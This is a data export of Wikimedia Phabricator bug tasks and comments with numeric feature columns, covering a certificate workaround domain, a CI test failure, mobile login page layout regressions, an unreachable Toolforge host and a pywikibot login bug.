+",,,1442252706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+526649,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"If we ever do this again in the future, let's use a wikimedia.org domain ( longer history of segmenting untrusted subdomains).
+
+@Bblack, do you have an eta from GlobalSign yet?",,,1442240154,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,1,0,0
+525989,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,Nope,,,1442087854,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+525988,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,@BBlack: is the renewal still not done yet?,,,1442087495,,PHID-USER-e7a5lnjpgncgdxknmdxb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0
+525983,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Just like *.wikipedia.org, putting it at *.wikivoyage.org would have given Phabricator access to production MediaWiki cookies. *.wikidata.org is not trusted like that AFAIK.",,,1442086691,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+525941,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,@Luke081515 There where some concerns about wikivoyage isolation between subdomains; we believe wikidata domains are more independent from each other and could create less problems (and any would work until a permanent solution is rolled in).,,,1442076961,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,0,1,0,0
+525939,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,Why switched between wikivoyage and wikidata?,,,1442076092,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+525917,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 237920 merged by BBlack:
+switch phab altdom to phab.wikidata.org T112381
+
+[[https://gerrit.wikimedia.org/r/237920]]",,,1442072802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525916,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 237920 had a related patch set uploaded (by BBlack):
+switch phab altdom to phab.wikidata.org T112381
+
+[[https://gerrit.wikimedia.org/r/237920]]
+",,,1442072780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+525915,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 237919 merged by BBlack:
+add phab.wikidata.org temporarily T112381
+
+[[https://gerrit.wikimedia.org/r/237919]]",,,1442072699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525914,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 237919 had a related patch set uploaded (by BBlack):
+add phab.wikidata.org temporarily T112381
+
+[[https://gerrit.wikimedia.org/r/237919]]
+",,,1442072678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+112118,Permission problems unexpected HTTP response (403) (MediawikiApi::HttpError),"Did we change a password and forget to update it on our builds?
+Several of the MobileFrontend tests are now failing with unexpected HTTP response (403) (MediawikiApi::HttpError)
+e.g. https://integration.wikimedia.org/ci/job/browsertests-MobileFrontend-SmokeTests-linux-chrome-sauce/256/
+",High,80.0,1441902053,1441988062.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-3w2eekvz4sbxnracaykf,task_description,resolved,True,c3,3,True,False,True,10,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+525326,Permission problems unexpected HTTP response (403) (MediawikiApi::HttpError),Thanks!,,,1441989327,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-3w2eekvz4sbxnracaykf,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+525293,Permission problems unexpected HTTP response (403) (MediawikiApi::HttpError),"Looks like beta cluster was down, but it is fixed now: http://saucelabs.com/jobs/010fbfccb01c497badb0dc344f689c62",,,1441988053,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-3w2eekvz4sbxnracaykf,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+525290,Permission problems unexpected HTTP response (403) (MediawikiApi::HttpError),The build is back to green: https://integration.wikimedia.org/ci/job/browsertests-MobileFrontend-SmokeTests-linux-chrome-sauce/257/consoleFull,,,1441987866,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-3w2eekvz4sbxnracaykf,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+111460,Regression: Login form below fold under login prompt on Wiktionary login page,"Login form below fold on Wiktionary and possibly other projects. That suggests this may decrease login rates (it did when the submit button dropped below the fold for Special:Mobileoptions)
+
+Visit https://en.wiktionary.org/wiki/Special:UserLogin?mobileaction=beta&useformat=mobile which forces the use of the core login form to see this.
+{F2538485}
+
+On the short term we should hide this big chunk of text on mobile screens (either in UserMerge extension or MobileFrontend).
+On long term UserMerge will need to be a bit more clever with its placement.",High,80.0,1441318869,1442432229.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_description,resolved,True,c3,3,True,True,True,9,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0
+528819,Regression: Login form below fold under login prompt on Wiktionary login page,Confirmed as fixed.,,,1442432229,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+525745,Regression: Login form below fold under login prompt on Wiktionary login page,Will sign this off next sprint when I see it in production.,,,1442016067,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+523597,Regression: Login form below fold under login prompt on Wiktionary login page,"Change 237123 merged by jenkins-bot:
+Hide loginform and language links on the login page
+
+[[https://gerrit.wikimedia.org/r/237123]]",,,1441819573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1
+523587,Regression: Login form below fold under login prompt on Wiktionary login page,"(Special:MergeAccount is a CentralAuth thing, fwiw.)",,,1441818856,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+523584,Regression: Login form below fold under login prompt on Wiktionary login page,Thanks for the clarification @Legoktm the link to Special:MergeAccount  threw me.,,,1441818787,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0
+523578,Regression: Login form below fold under login prompt on Wiktionary login page,"Nothing, this is a local message override. https://en.wiktionary.org/wiki/MediaWiki:Loginprompt",,,1441818687,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0
+523577,Regression: Login form below fold under login prompt on Wiktionary login page,What does this have to do with the UserMerge extension...?,,,1441818609,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+523521,Regression: Login form below fold under login prompt on Wiktionary login page,"Change 237123 had a related patch set uploaded (by Bmansurov):
+Hide loginform and language links on the login page
+
+[[https://gerrit.wikimedia.org/r/237123]]
+",,,1441815060,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+522545,Regression: Login form below fold under login prompt on Wiktionary login page,Just hide it for time being as this is a regression and it wasn't there before.,,,1441718292,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+522508,Regression: Login form below fold under login prompt on Wiktionary login page,@KHammerstein what's your take on this? Should we hide the text or move it below the login form or something else?,,,1441709989,,PHID-USER-grftjc3ekkyjf6bwlsqi,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,False,,,9,True,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+110783,tools-webgrid-lighttpd-1411 unreachable and can't get password entries,"Jobs that happen to be deployed on this host fail with:
+
+```
+Job 416426 caused action: Job 416426 set to ERROR
+ User        = tools.veblenbot
+ Queue       = webgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs
+ Start Time  = <unknown>
+ End Time    = <unknown>
+failed assumedly before job:can't get password entry for user ""tools.veblenbot"". Either the user does not exist or NIS error!
+```
+
+I can't `ssh` to that host either:
+
+```
+[tim@passepartout ~]$ ssh tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs
+Permission denied (publickey,hostbased).
+[tim@passepartout ~]$
+```
+
+(which makes sense in view of the ""can't get password entries"" error above).  I have disabled the queue `webgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs`.",High,80.0,1440821566,1441145008.0,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-noojfb5i6kiyax6zbox7,task_description,resolved,True,c3,3,True,True,True,8,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+518830,tools-webgrid-lighttpd-1411 unreachable and can't get password entries,"I have rebooted the instance via https://horizon.wikimedia.org/project/instances/, `ssh` worked fine afterwards, so I re-enabled the queue `webgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs` (`qmod -e`).",,,1441145008,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-noojfb5i6kiyax6zbox7,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+110411,login.py doesnt recognise * in config.usernames,"With an entry like follows in `user-config.py`
+```
+usernames['wikipedia']['*'] = 'JVbot-test'
+```
+
+`login.py` emits a error
+
+```
+$ python pwb.py login -all
+Logged in on wikipedia:test as JVbot-test.
+*.wikipedia is not a valid site, please remove it from your config
+```",High,80.0,1440627051,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-xxhid5r4jxhawqqzajzb,task_description,progress,True,c3,3,True,False,,7,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+2490111,login.py doesnt recognise * in config.usernames,"Change #1112370 had a related patch set uploaded (by Xqt; author: Xqt):
+%%%[pywikibot/core@master] login.py: Recognise * in config.usernames%%%
+https://gerrit.wikimedia.org/r/1112370",,,1737283568,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,False,,,498,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+845352,login.py doesnt recognise * in config.usernames,It can really be practical.,,,1492644342,,PHID-USER-aswxykknolbbycawydkz,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,True,,,93,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+815603,login.py doesnt recognise * in config.usernames,"Change 339806 abandoned by Dalba:
+login.py: Recognise * in config.usernames
+
+Reason:
+May take a long time to login to all sites. Maybe we can take advantage of CentralAuth. Needs further investigation.
+
+[[https://gerrit.wikimedia.org/r/339806]]",,,1487996244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,False,,,86,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+815594,login.py doesnt recognise * in config.usernames,"Change 339806 had a related patch set uploaded (by Dalba):
+login.py: Recognise * in config.usernames
+
+[[https://gerrit.wikimedia.org/r/339806]]
+",,,1487990836,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,False,,,86,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+815573,login.py doesnt recognise * in config.usernames,"Currently I get:
+
+```
+$ python pwb.py login -all
+*.wikipedia is not a valid site, please remove it from your config
+Traceback (most recent call last):
+  File ""pwb.py"", line 263, in <module>
+    if not main():
+  File ""pwb.py"", line 257, in main
+    run_python_file(filename, [filename] + args, argvu, file_package)
+  File ""pwb.py"", line 121, in run_python_file
+    main_mod.__dict__)
+  File "".\scripts\login.py"", line 193, in <module>
+    main()
+  File "".\scripts\login.py"", line 166, in main
+    for familyName in namedict:
+RuntimeError: dictionary changed size during iteration
+<class 'RuntimeError'>
+CRITICAL: Closing network session.
+```
+",,,1487985522,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,False,,,86,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1
+110403,Huge langlinks list on top of mobile login page,"Have a look on this wonderful login page for dewiki:
+{F2399139}
+
+It's alpha and beta only (where we have core login page) on an emulated Nexus 5. That looks terrible and the languagelinks should be hidden for now (and maybe replaced with a nicer language selection, maybe a dropdown?
+
+The list is created here:
+https://github.com/wikimedia/mediawiki/blob/d1fb1a2d0e1878aac70b3767c58ef6b3a1aa065f/includes/specials/SpecialUserlogin.php#L1649-L1666
+
+And is a simply mediawiki message key and needs to be enabled with $wgLoginLanguageSelector (for local testing e.g.).",High,80.0,1440624132,1474380309.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-mijmww37akmm2x4ijgrp,task_description,resolved,True,c3,3,True,False,False,7,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,0
+731620,Huge langlinks list on top of mobile login page,"We hid them... this is why it's not there.
+I've created T146151 rather than repurpose the bug to make that clearer.
+",,,1474382658,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,63,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0
+731598,Huge langlinks list on top of mobile login page,"Being logged out and going to https://de.m.wikipedia.org/w/index.php?title=Spezial:Anmelden I cannot reproduce this anymore. No section of languages is displayed on top.
+
+Closing as resolved; please reopen if this is still a problem.",,,1474380309,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,63,True,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+568723,Huge langlinks list on top of mobile login page,I'm not working on this.,,,1448482465,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,20,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+519457,Huge langlinks list on top of mobile login page,"Change 234163 abandoned by Florianschmidtwelzow:
+WIP: Convert UserLogin language links into a dropdown select list
+
+Reason:
+It's still in gerrit, but I actually don't work on it, until there is some consensus in the task :)
+
